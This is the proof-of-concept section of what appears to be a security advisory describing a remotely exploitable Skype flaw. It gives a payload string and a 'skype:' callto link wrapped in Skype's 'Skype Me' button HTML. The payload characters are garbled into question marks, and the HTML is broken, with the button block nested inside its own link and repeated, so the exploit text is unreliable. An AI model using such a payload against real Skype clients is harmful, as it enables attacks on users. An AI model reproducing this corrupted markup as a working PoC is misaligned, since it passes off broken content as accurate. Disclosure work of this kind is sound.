Proof of Concept:
=================
The vulnerability can be exploited by remote attackers with & without
required user inter action. For demonstration or reproduce ...

PoC:

?¬??????? -??????????????????????¬????????¬?????????????????????¬?????????-??????? ?????????????¬??????????¬???????????????????¬??????????? ¬??????????????????¬???? ????????¬?????????????????-????????????????????????????? ¬??????????????¬??????????????????????????????¬¬????????????????????????????? ¬?

or as callto link:

<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript"
src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<a href="skype:?<!--
Skype 'Skype Me™!' button
http://www.skype.com/go/skypebuttons
-->
<script type="text/javascript"
src="http://download.skype.com/share/skypebuttons/js/skypeCheck.js"></script>
<a href="
skype:?¬??????? -??????????????????????¬????????¬?????????????????????¬?????????-??????? ?????????????¬??????????¬???????????????????¬??????????? ¬??????????????????¬???? ????????¬?????????????????-????????????????????????????? ¬??????????????¬??????????????????????????????¬¬????????????????????????????? ¬? ?call
"><img
src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png"
style="border: none;" width="124"
height="52" alt="Skype Me™!" /></a>
?call"><img
src="http://download.skype.com/share/skypebuttons/buttons/call_blue_white_124x52.png"
style="border: none;"
width="124" height="52" alt="Skype Me™!" /></a>